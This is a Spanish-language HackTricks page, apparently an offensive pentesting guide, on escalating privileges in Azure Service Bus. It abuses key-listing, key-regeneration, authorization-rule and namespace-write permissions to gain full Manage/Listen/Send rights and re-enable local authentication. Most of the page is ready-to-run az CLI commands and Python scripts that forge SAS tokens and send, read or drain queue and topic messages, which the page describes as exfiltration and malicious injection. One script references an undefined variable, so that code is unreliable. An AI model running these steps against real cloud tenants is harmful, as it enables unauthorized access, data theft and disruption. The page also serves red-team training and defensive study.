Az - Service Bus Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Service Bus

Para más información, consulta:

Az - Service Bus

Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action O Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action

Estos permisos te permiten obtener o regenerar las claves para las reglas de autorización locales dentro de un espacio de nombres de Service Bus. Usando estas claves es posible autenticarte como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema, recibir mensajes de cualquier cola o suscripción, o potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de mensajería.

Ten en cuenta que por defecto la RootManageSharedAccessKey regla tiene control total sobre el espacio de nombres de Service Bus y se utiliza con el az cli, sin embargo, pueden existir otras reglas con otros valores de clave.

# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]

# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]

Microsoft.ServiceBus/namespaces/AuthorizationRules/write

Con este permiso es posible crear una nueva regla de autorización con todos los permisos y sus propias claves con:

az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send

Warning

Este comando no responde con las claves, por lo que necesitas obtenerlas con los comandos (y permisos) anteriores para poder escalar privilegios.

Además, con ese comando (y Microsoft.ServiceBus/namespaces/authorizationRules/read) si realizas esta acción a través de Azure CLI, es posible actualizar una regla de autorización existente y darle más permisos (en caso de que le faltaran algunos) con el siguiente comando:

az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action

Temas y colas específicos dentro de un espacio de nombres de Service Bus pueden tener sus propias reglas de autorización, que se pueden usar para controlar el acceso a la entidad. Al tener estos permisos, puedes recuperar o regenerar las claves para estas reglas de autorización locales, lo que te permite autenticarte como la entidad y potencialmente enviar o recibir mensajes, gestionar suscripciones o interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de mensajería.

# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write

Con este permiso es posible crear una nueva regla de autorización con todos los permisos y sus propias claves con:

# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Warning

Este comando no responde con las claves, por lo que necesitas obtenerlas con los comandos (y permisos) anteriores para poder escalar privilegios.

Además, con ese comando (y Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read) si realizas esta acción a través de Azure CLI, es posible actualizar una regla de autorización existente y darle más permisos (en caso de que le faltaran algunos) con el siguiente comando:

# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read si se usa az cli)

Con estos permisos un atacante puede reactivar “la autenticación local” con el siguiente comando y, por lo tanto, todas las claves de las políticas compartidas funcionarán.

az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>

Enviar mensajes con claves (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action O Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

Puedes recuperar el PrimaryConnectionString, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar a usuarios válidos o inyectar datos maliciosos en el flujo de trabajo de mensajería. Este método funciona si --disable-local-auth está configurado como falso (por lo que la autenticación local está habilitada).

import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"

async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")

asyncio.run(send_message())

Además, puedes enviar mensajes con az rest; en este caso, necesitas generar un token SAS para usar.

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"

sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"

Recibir con claves (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action O Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

Puedes recuperar el PrimaryConnectionString, que sirve como una credencial para el espacio de nombres de Service Bus. Usando esta cadena de conexión, puedes recibir mensajes de cualquier cola o suscripción dentro del espacio de nombres, lo que permite el acceso a datos potencialmente sensibles o críticos, habilitando la exfiltración de datos o interfiriendo con el procesamiento de mensajes y los flujos de trabajo de la aplicación. Este método funciona si --disable-local-auth está configurado como false.

import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"

# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"

async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)

# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
#     for msg in msgs:
#         print("Received:", msg)
#         await receiver.complete_message(msg)

asyncio.run(receive())
print("Done receiving messages")

Además, puedes enviar mensajes con az rest; en este caso, necesitas generar un token SAS para usar.

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue"  # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>"  # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)

Para una cola, puedes obtener o ver el mensaje (obtener un mensaje lo eliminaría, mientras que ver no lo hará):

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Por un tema:

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Enviar mensajes. DataActions: Microsoft.ServiceBus/namespaces/messages/send/action

Puedes usar estos permisos para enviar mensajes, incluso si --disable-local-auth está configurado como verdadero.

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"  # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>"        # Your queue name

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()

if __name__ == "__main__":
asyncio.run(run())

Recibir Mensajes. DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action

Puedes usar estos permisos para recibir mensajes, incluso si --disable-local-auth está configurado como verdadero.

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"

# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)

# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     async for msg in receiver:
#         print("Received from Topic Subscription:", msg)
#         await receiver.complete_message(msg)

await credential.close()

asyncio.run(run())
print("Done receiving messages")

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks